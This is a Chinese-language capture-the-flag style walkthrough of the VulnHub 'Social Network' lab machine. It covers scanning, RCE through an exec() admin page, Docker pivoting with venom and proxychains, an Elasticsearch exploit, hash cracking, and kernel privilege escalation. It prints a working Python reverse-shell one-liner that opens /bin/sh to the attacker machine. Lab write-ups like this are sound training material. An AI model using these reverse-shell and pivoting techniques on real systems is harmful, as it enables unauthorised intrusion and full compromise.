环境:
攻击机:kali-linux-2022.3-vmware-amd64, IP:192.168.56.101
靶机:medium_socnet(搭建在Virtualbox上面) IP:192.168.56.106
靶机难度:中等
靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
一、主机发现:
使用nmap扫描工具进行主机发现:
发现192.168.56.106为新增加的IP,即为靶机IP。
二、端口扫描:(探测开放的端口,相关端口运行的服务信息)
可以看到靶机开放了22,5000端口,进一步探测相关服务信息:
其中,-sT指定以tcp协议进行扫描,-sV探测服务版本,-O探测操作系统的版本。可以看到,22端口运行着ssh服务,5000端口运行着python环境的http服务,其中,5000端口上面的werkzeug(Werkzeug是Python的WSGI规范的实用函数库。使用广泛,基于BSD协议)。
三、查看5000端口的web界面
可以看到一个输入框,我们输入的数据都会显示出来,这个输入框不存在注入以及xss。
四、web目录爆破:
网页没有提供太多信息,无账号密码的话22端口不能直接应用,所以将目光转向web目录,使用dirb工具对网站其他路径进行探测
发现一个admin路径,使用浏览器打开界面如下:
界面提示我们会将我们输入的代码执行exec()函数,也就是说这个界面存在rce漏洞。
五、获取反弹shell:
由于在端口服务探测的时候发现5000端口的http服务是基于python环境的,所以他一定可以执行python代码,在网上找一段python反弹shell的一句话脚本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kali.ip",kail.port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这段代码是一个python反弹shell一句话脚本,其中的python -c指一个命令行选项,这里我们是在一个可以直接执行python语句的环境中,所以不需要python -c参数,反弹shell代码如下:
Import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kali.ip",kail.port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
本地开启监听,反弹shell成功。
六、信息收集:
反弹shell以后发现直接就是root权限,有点受宠若惊,查看IP以后才发现IP地址并不是靶机的IP地址。
查看文件以后发现存在一个名为Dockerfile文件,怀疑我们现在取得的shell是一个搭建在靶机的docker容器上面的机器一个shell。
【针对这个问题,有两个方法进行判断:
- 、查看根目录下是否存在dockerenv隐藏文件,这个文件是给docker配置环境变量的文件,如在这台靶机上执行结果如下
可以看到cat语句并没有报文件不存在的错误,则说明这个文件确实存在。
- 、查看/proc/1/cgroup文件,linux系统启动后,1这个pid代表了计算机系统初始化进程的id,当初始化进程的id的cgroup文件中包含了docker映像主机的指示信息的话,就证明目前取得root的时docker容器,如靶机执行结果如下:】
七、内网其他机器的发现:
行ping命令,但是这里的地址显示当前网段存在65536个IP地址,实战中应该都扫描一遍,但是这里是靶机,只扫描前几个就行,这里为了实现自动化,可以编写一个bash脚本:
for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done
其中使用了for循环,seq函数功能是输出连续数字,-c 命令指执行次数 。执行结果如下:
只有1、 2、 3三个地址是存在的,继续进行测试。
八、内网穿透:
由于这些主机都是在内网环境里面,kali并不能直接对这些主机进行探测,所以要使用内网穿透技术,打通kali和内网主机的连接,可以使用venom进行内网穿透,本地搭建http简易服务器,靶机上面下载客户端程序,本地执行服务端程序,等待反应。
靶机下载客户端程序,赋权以后执行,本地即可。
九、本地相关配置:
本地查看发现节点1存在,进入到节点1,在本地开启一个socks侦听的代理,为了使kali中的工具脚本都可以使用这个代理,我们还需要使用工具proxychains工具,该工具可以挂载代理,修改proxychains配置文件,修改代理类型和代理端口:
十、内网机器端口探测:
工具使用建立的代理进行连接就可以实现对内网机器的端口扫描。
【解释一下为什么使用-Pn参数:当使用nmap扫描内网主机时,使用-Pn参数可以禁用主机的Ping扫描,这意味着即使主机没有响应ping请求,nmap仍然会尝试扫描该主机。这对于检测隐藏主机或防火墙阻止ping扫描的情况非常有用】
发现这台主机开放的端口和靶机端口一致,对端口服务进行探测,
这里发现和靶机的服务完全一致,这里给浏览器也配置一个我们生成的代理,访问一下这台主机的5000端口,发现和我们靶机浏览器界面一模一样。
(这里浏览器的代理设置我使用的是火狐的一个插件)
(这里其实是有显示我们之前输入的12312123数据的,只是在测试过程中代理出了问题,重启了靶机,所以没有那条记录)
种种情况说明这台172.17.0.1就是192.168.45.106这台机器,只不过这个ip是他面向docker容器内网的IP,所以这个IP就是要攻击的目标主机的IP了。
十一、探测内网另一台主机及漏洞利用:
对172.17.0.2进行扫描,结果如下:
在9200端口上运行了Elasticsearch服务,搜索可知Elasticsearch曾经出现过很多严重的RCE漏洞,使用searchsploit进行漏洞利用脚本搜索,
查看利用文件,发现使用了python2,运行脚本文件,成功得到反弹shell。
执行脚本以后发现又是一个root权限,肯定又是docker容器,
十二、信息收集:
发现了一个password文件,打开看看,里面是一些应户名和密码哈希值。
放到在线解密网站进行md5解密,发现john对应的密码为1337hack,使用ssh进行连接(这里由于用户不多,可以直接尝试,如果账号密码多的话应该进行密码喷射,这里只有这个john和1337hack是可以利用的),登陆靶机的ssh。
十三、提权:
登陆以后使用sudo -l参数查看发现没有特殊权限。
尝试使用内核提权,内核版本为3.13。
是用本地漏洞库进行搜索,发现有很多利用文件,我们使用其中一个。
这是一个c语言的代码,编译他需要gcc,但是发现靶机上面并没有安装gcc。
所以应该在本机上面编译以后在传送到靶机上面,这里阅读一下这个文件,发现问题如下:
这里前面已经调用了gcc进行编译,这这里再一次调用gcc查找了一个库文件,并且将库文件编译成为相应的so文件,即二进制共享库文件,整个利用代码运行以后会再次调用库文件,即即使我们在本机编译了这个文件,也会再次调用gcc编译一个C语言的库文件,在kali中找到这个库文件进行编译,当代码执行到这里的时候就直接调用相应文件,跳过编译的语句,对代码进行修改:
对文件进行编译,报错不影响运行。
找到本机的ofs-lib.so文件,
本机开启一个http服务,靶机将两个文件下载下来
放到tmp目录下,赋权,运行,获取root权限(普通用户在tmp目录下有很大权限)
渗透测试完成。
补充:
在最后提权阶段具有可能遇到如下情况:
这里给出解决方案的地址:
(http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb)
声明:
本文为原创,是根据苑房宏老师在2021年发布的打靶课写的,里面一切用到的脚本及文件都是苑老师在课程中提及的,本文也对一些常见的操作进行了细化,如搭建kali的全局代理等。同时因为课程是2021年发布的,本人打靶时间为2023年,所以会有一些语言环境版本迭代的问题导致的错误,都已经在结尾处的补充提供了相应资料。希望大家多多支持,我会在后续继续更新这套课程的打靶文章。谢谢!